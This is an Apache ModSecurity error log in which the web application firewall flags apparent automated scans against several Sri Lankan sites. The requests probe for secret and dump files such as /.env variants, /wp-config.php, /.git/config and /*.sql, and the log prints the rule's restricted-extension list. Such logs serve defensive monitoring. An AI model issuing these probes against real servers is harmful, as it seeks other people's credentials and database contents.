[Fri Jul 17 08:27:12.224592 2026] [security2:error] [pid 1994976:tid 1994976] [client 100.24.67.159:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "systemtec.lk"] [uri "/.env.backup"] [unique_id "almaCDRCJXF37-WnVv0iZwAAABI"]
[Fri Jul 17 08:27:12.224867 2026] [security2:error] [pid 1994976:tid 1994976] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "systemtec.lk"] [uri "/.env.backup"] [unique_id "almaCDRCJXF37-WnVv0iZwAAABI"]
[Fri Jul 17 08:27:12.225452 2026] [security2:error] [pid 1994976:tid 1994976] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "systemtec.lk"] [uri "/.env.backup"] [unique_id "almaCDRCJXF37-WnVv0iZwAAABI"]
[Fri Jul 17 08:27:12.228809 2026] [security2:error] [pid 1994976:tid 1994976] [client 100.24.67.159:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "systemtec.lk"] [uri "/.env.local"] [unique_id "almaCDRCJXF37-WnVv0iaAAAABI"]
[Fri Jul 17 08:27:12.229149 2026] [security2:error] [pid 1994976:tid 1994976] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "systemtec.lk"] [uri "/.env.local"] [unique_id "almaCDRCJXF37-WnVv0iaAAAABI"]
[Fri Jul 17 08:27:12.229575 2026] [security2:error] [pid 1994976:tid 1994976] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "systemtec.lk"] [uri "/.env.local"] [unique_id "almaCDRCJXF37-WnVv0iaAAAABI"]
[Fri Jul 17 08:27:12.242300 2026] [security2:error] [pid 1994976:tid 1994976] [client 100.24.67.159:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "systemtec.lk"] [uri "/wp-config.php"] [unique_id "almaCDRCJXF37-WnVv0iagAAABI"]
[Fri Jul 17 08:27:12.242816 2026] [security2:error] [pid 1994976:tid 1994976] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "systemtec.lk"] [uri "/wp-config.php"] [unique_id "almaCDRCJXF37-WnVv0iagAAABI"]
[Fri Jul 17 08:27:12.314644 2026] [security2:error] [pid 1993715:tid 1993715] [client 32.192.229.88:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "trails.lk"] [uri "/data.sql"] [unique_id "almaCHRlmrtCoY_COpciVQAAAAg"]
[Fri Jul 17 08:27:12.315192 2026] [security2:error] [pid 1993715:tid 1993715] [client 32.192.229.88:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "trails.lk"] [uri "/data.sql"] [unique_id "almaCHRlmrtCoY_COpciVQAAAAg"]
[Fri Jul 17 08:27:12.446264 2026] [proxy_fcgi:error] [pid 1994976:tid 1994976] [client 100.24.67.159:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:27:12.447016 2026] [security2:error] [pid 1994976:tid 1994976] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "systemtec.lk"] [uri "/wp-config.php"] [unique_id "almaCDRCJXF37-WnVv0iagAAABI"]
[Fri Jul 17 08:27:12.451877 2026] [security2:error] [pid 1994976:tid 1994976] [client 100.24.67.159:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "systemtec.lk"] [uri "/data.sql"] [unique_id "almaCDRCJXF37-WnVv0iawAAABI"]
[Fri Jul 17 08:27:12.452441 2026] [security2:error] [pid 1994976:tid 1994976] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "systemtec.lk"] [uri "/data.sql"] [unique_id "almaCDRCJXF37-WnVv0iawAAABI"]
[Fri Jul 17 08:27:12.453108 2026] [security2:error] [pid 1994976:tid 1994976] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "systemtec.lk"] [uri "/data.sql"] [unique_id "almaCDRCJXF37-WnVv0iawAAABI"]
[Fri Jul 17 08:27:12.457134 2026] [security2:error] [pid 1994976:tid 1994976] [client 100.24.67.159:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "systemtec.lk"] [uri "/.git/config"] [unique_id "almaCDRCJXF37-WnVv0ibAAAABI"]
[Fri Jul 17 08:27:12.457506 2026] [security2:error] [pid 1994976:tid 1994976] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "systemtec.lk"] [uri "/.git/config"] [unique_id "almaCDRCJXF37-WnVv0ibAAAABI"]
[Fri Jul 17 08:27:12.458170 2026] [security2:error] [pid 1994976:tid 1994976] [client 100.24.67.159:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "systemtec.lk"] [uri "/.git/config"] [unique_id "almaCDRCJXF37-WnVv0ibAAAABI"]
[Fri Jul 17 08:27:12.463365 2026] [security2:error] [pid 1994976:tid 1994976] [client 44.220.61.253:0] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaCDRCJXF37-WnVv0ibQAAABI"]
[Fri Jul 17 08:27:12.463756 2026] [security2:error] [pid 1994976:tid 1994976] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/wp-config.php"] [unique_id "almaCDRCJXF37-WnVv0ibQAAABI"]
[Fri Jul 17 08:27:12.464215 2026] [security2:error] [pid 1994976:tid 1994976] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaCDRCJXF37-WnVv0ibQAAABI"]
[Fri Jul 17 08:27:12.468905 2026] [proxy_fcgi:error] [pid 1994976:tid 1994976] [client 100.24.67.159:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 08:27:12.479751 2026] [security2:error] [pid 1994976:tid 1994976] [client 44.220.61.253:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaCDRCJXF37-WnVv0ibwAAABI"]
[Fri Jul 17 08:27:12.480167 2026] [security2:error] [pid 1994976:tid 1994976] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/.env.production"] [unique_id "almaCDRCJXF37-WnVv0ibwAAABI"]
[Fri Jul 17 08:27:12.480605 2026] [security2:error] [pid 1994976:tid 1994976] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaCDRCJXF37-WnVv0ibwAAABI"]
[Fri Jul 17 08:27:12.481424 2026] [security2:error] [pid 1993668:tid 1993668] [client 3.236.14.214:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/index.php"] [unique_id "almaBxAi3pC6yjXGNq19DwAAAAU"]
[Fri Jul 17 08:27:12.486487 2026] [security2:error] [pid 1994976:tid 1994976] [client 44.220.61.253:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaCDRCJXF37-WnVv0icAAAABI"]
[Fri Jul 17 08:27:12.487027 2026] [security2:error] [pid 1994976:tid 1994976] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/dump.sql"] [unique_id "almaCDRCJXF37-WnVv0icAAAABI"]
[Fri Jul 17 08:27:12.487436 2026] [security2:error] [pid 1994976:tid 1994976] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaCDRCJXF37-WnVv0icAAAABI"]
[Fri Jul 17 08:27:12.495647 2026] [security2:error] [pid 1994976:tid 1994976] [client 44.220.61.253:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaCDRCJXF37-WnVv0icgAAABI"]
[Fri Jul 17 08:27:12.496051 2026] [security2:error] [pid 1994976:tid 1994976] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/db.sql"] [unique_id "almaCDRCJXF37-WnVv0icgAAABI"]
[Fri Jul 17 08:27:12.496305 2026] [security2:error] [pid 1994976:tid 1994976] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaCDRCJXF37-WnVv0icgAAABI"]
[Fri Jul 17 08:27:12.498614 2026] [security2:error] [pid 1993668:tid 1993668] [client 44.220.61.253:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaCBAi3pC6yjXGNq19EwAAAAU"]
[Fri Jul 17 08:27:12.498861 2026] [security2:error] [pid 1993668:tid 1993668] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/.git/config"] [unique_id "almaCBAi3pC6yjXGNq19EwAAAAU"]
[Fri Jul 17 08:27:12.498897 2026] [security2:error] [pid 1994976:tid 1994976] [client 44.220.61.253:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaCDRCJXF37-WnVv0icwAAABI"]
[Fri Jul 17 08:27:12.499115 2026] [security2:error] [pid 1993668:tid 1993668] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaCBAi3pC6yjXGNq19EwAAAAU"]
[Fri Jul 17 08:27:12.499139 2026] [security2:error] [pid 1994976:tid 1994976] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/.env.dev"] [unique_id "almaCDRCJXF37-WnVv0icwAAABI"]
[Fri Jul 17 08:27:12.499389 2026] [security2:error] [pid 1994976:tid 1994976] [client 44.220.61.253:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/index.html"] [unique_id "almaCDRCJXF37-WnVv0icwAAABI"]
[Fri Jul 17 08:27:12.517933 2026] [security2:error] [pid 1993668:tid 1993668] [client 44.220.61.253:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "www.jrdc.ksoft.web.lk"] [uri "/.env.staging"] [unique_id "almaCBAi3pC6yjXGNq19FwAAAAU"]
